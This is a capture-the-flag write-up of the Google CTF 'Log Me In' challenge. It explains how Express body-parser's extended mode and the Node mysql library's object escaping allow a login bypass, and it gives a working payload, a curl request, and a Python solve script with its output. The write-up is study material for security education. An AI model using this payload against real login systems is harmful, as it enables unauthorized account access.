Tags: sql web node.js 

Rating: 4.5

# Log Me In

Author: [roerohan](https://github.com/roerohan)

# Requirements

- Express.js
- Body Parser

# Source

- https://log-me-in.web.ctfcompetition.com/

```
Log in to get the flag
```

```js
/**
* @fileoverview Description of this file.
*/

const mysql = require('mysql');
const express = require('express');
const cookieSession = require('cookie-session');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');

const flagValue = "..."
const targetUser = "michelle"

const {
v4: uuidv4
} = require('uuid');

const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);

/* strict routing to prevent /note/ paths etc. */
app.set('strict routing', true)
app.use(cookieParser());

/* secure session in cookie */
app.use(cookieSession({
name: 'session',
keys: ['...'] //don't even bother
}));

app.use(bodyParser.urlencoded({
extended: true
}))

app.use(function(req, res, next) {
if(req && req.session && req.session.username) {
res.locals.username = req.session.username
res.locals.flag = req.session.flag
} else {
res.locals.username = false
res.locals.flag = false
}
next()
});

/* server static files from static folder */
app.use('/static', express.static('static'))

app.use(function( req, res, next) {
if(req.get('X-Forwarded-Proto') == 'http') {
res.redirect('https://' + req.headers.host + req.url)
} else {
if (process.env.DEV) {
return next()
} else {
return next()
}
}
});
// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

/* csrf middleware, csrf_token stored in the session cookie */
const csrf = (req, res, next) => {
const csrf = uuidv4();
req.csrf = req.session.csrf || uuidv4();
req.session.csrf = csrf;
res.locals.csrf = csrf;

nocache(res);

if (req.method == 'POST' && req.csrf !== req.body.csrf) {
return res.render('index', {error: 'Invalid CSRF token'});
}

next();
}

/* disable cache on specifc endpoints */
const nocache = (res) => {
res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');
res.setHeader('Pragma', 'no-cache');
res.setHeader('Expires', '0');
}

/* auth middleware */
const auth = (req, res, next) => {
if (!req.session || !req.session.username) {
return res.render('index', {error:"You must be logged in to access that"});
}
next()
}

// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`
app.get('/logout', (req, res) => {
req.session = null;
res.redirect('/');
});

app.get('/', csrf, (req, res) => {
res.render('index');
});

app.get('/about', (req, res) => {
res.render('about');

});
app.get('/me', auth, (req, res) => {
res.render('profile');
});

app.get('/flag', csrf, auth, (req, res) => {
res.render('premium')
});

app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
const u = req.body['username'];
const p = req.body['password'];

const con = DBCon(); // mysql.createConnection(...).connect()

const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {
if(err) {
res.render('login', {error: `Unknown error: ${err}`});
} else if(qResult.length) {
const username = qResult[0]['username'];
let flag;
if(username.toLowerCase() == targetUser) {
flag = flagValue
} else{
flag = "<span>Only Michelle's account has the flag</span>";
}
req.session.username = username
req.session.flag = flag
res.redirect('/me');
} else {
res.render('login', {error: "Invalid username or password"})
}
});
});

/*
* ...SNIP...
*/

```

# Exploitation

When you look at the source code, you'll notice the following snippet:

```js
app.use(bodyParser.urlencoded({
extended: true
}))
```

This tells body parser to allow arrays and objects in the request body. So you can pass things like:

```
username[]=a&username[]=b

This is interpreted as username = ['a', 'b']

Similarly,

username[hello]=a

Is interpreted as username = {hello: 'a'}
```

Now, you see in the `/login` POST route that the output has not been stringified (no `.toString()`). Which means it is possible to pass an object in the query statement.

```js
const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {...});
```

Now, let's see if passing an objectto the `con.query` function might help us. We'll refer to the official `mysql` [docs](https://www.npmjs.com/package/mysql#escaping-query-values).

Take a look at this example:

```js
var post = {id: 1, title: 'Hello MySQL'};
var query = connection.query('INSERT INTO posts SET ?', post, function (error, results, fields) {
if (error) throw error;
// Neat!
});
console.log(query.sql); // INSERT INTO posts SET `id` = 1, `title` = 'Hello MySQL'
```

We can see that objects are converted into comma separated attributes. We know that the username is supposed to be `michelle`, but we do not know the password. So, we can try to pass an object in the place of password, with a known attribute. Here's the payload I tried:

```
csrf&username=michelle&password[username]=michelle
```

This makes `password` an object as shown below:

```js
{
username: 'michelle',
}
```

Now, the query becomes something like:

```js
con.query('Select * from users where username = ? and password = ?', ['michelle', {username: 'michelle'}], function(err, qResult) {...});
```

This actually evaluates to:

```js
"Select * from users where username = 'michelle' and password = `username` = 'michelle';"
```

This works because of the way `mysql` evaluates strings. When you evaluate `'password' = 'username'`, it returns a 0. Then, if you compare `0` and `'michelle'`, `true` is returned. This happens because of the way type-casting is done in `mysql`.

This exploit would work for any string (not just `michelle`) except the ones which get type-casted to a different number.

For example, `0 = '1michelle'` will evaluate to false, since `1michelle` when converted to an integer gives `1`. Therefore, `password[username] = 1michelle` will not allow you to log in successfully. Check out [this](https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-0-gives-true) link for a more detailed explanation.

Here's the final paylaod.

```bash
curl -i -X POST --data 'csrf&username=michelle&password[username]=michelle' "https://log-me-in.web.ctfcompetition.com/login"

HTTP/2 302
content-type: text/plain; charset=utf-8
x-powered-by: Express
location: /me
vary: Accept
set-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponly
set-cookie: session.sig=bm5eHrmgRjBNmerS49mKNDV_tP4; path=/; httponly
x-cloud-trace-context: 51c2e656058a1cc31a265b3a8ad0d4b1
date: Mon, 24 Aug 2020 06:53:43 GMT
server: Google Frontend
content-length: 25

Found. Redirecting to /me
```

From here, you can just take the cookie you received, and use that to visit `/flag`.

P.S. you can write a python script for the exploit, like the one given below:

```py
import requests
import re

url = lambda path: 'https://log-me-in.web.ctfcompetition.com' + path

s = requests.Session()

payload = {
"username": "michelle",
"password[username]": "michelle",
"csrf": "",
}

r = s.post(url('/login'), data=payload)

r = s.get(url('/flag'))

if re.search(r'CTF{.*}', r.text):
print(r.text)

```

You can run this script and use `grep` to find the flag.

```bash
$ python solve.py | grep CTF

Flag: CTF{a-premium-effort-deserves-a-premium-flag}


```

The flag is:

```
CTF{a-premium-effort-deserves-a-premium-flag}
```

Original writeup (https://github.com/csivitu/CTF-Write-ups/tree/master/Google%20CTF/Web/Log-Me-In).